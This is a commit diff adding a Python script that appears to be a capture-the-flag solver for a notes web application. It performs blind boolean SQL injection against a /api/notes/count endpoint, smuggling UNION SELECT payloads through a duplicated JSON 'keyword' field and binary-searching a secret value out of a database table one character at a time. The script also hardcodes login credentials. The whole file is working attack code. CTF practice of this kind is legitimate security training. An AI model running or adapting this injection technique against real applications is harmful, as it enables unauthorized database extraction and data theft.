Initial commit

exploits.old/gemas-notes/exploit-bs.py

@@ -0,0 +1,54 @@
+import requests
+
+HOST = "http://localhost:12000"
+
+def login():
+    token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
+    return token
+
+def send_request(payload,token):
+    res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
+    if res.status_code == 401:
+        new_token = login()
+        return send_request(payload, new_token)
+    return res.json()["count"], token
+
+def attack(idx, char):
+    global token
+
+    sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
+    final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
+    result,token = send_request(final_payload, token)
+
+    if result == 31337:
+        return True
+    return False
+
+def solve():
+    charset = "0123456789abcdef"
+    flag = ""
+    idx = 10
+    for i in range(32):
+        lo = 0
+        hi = len(charset)
+        
+        while lo <= hi:
+            mid = lo + (hi - lo) // 2
+            char = charset[mid]
+
+            if attack(idx,char):
+                lo = mid + 1
+            else: 
+                hi = mid - 1
+        
+        flag += charset[lo]
+        print(f"CHAR {idx} | {charset[lo]}")
+        idx += 1
+
+    return "WRECKIT50{"+flag+"}"
+
+if __name__=="__main__":
+    global token
+    token = login()
+    flag = solve()
+    print(flag)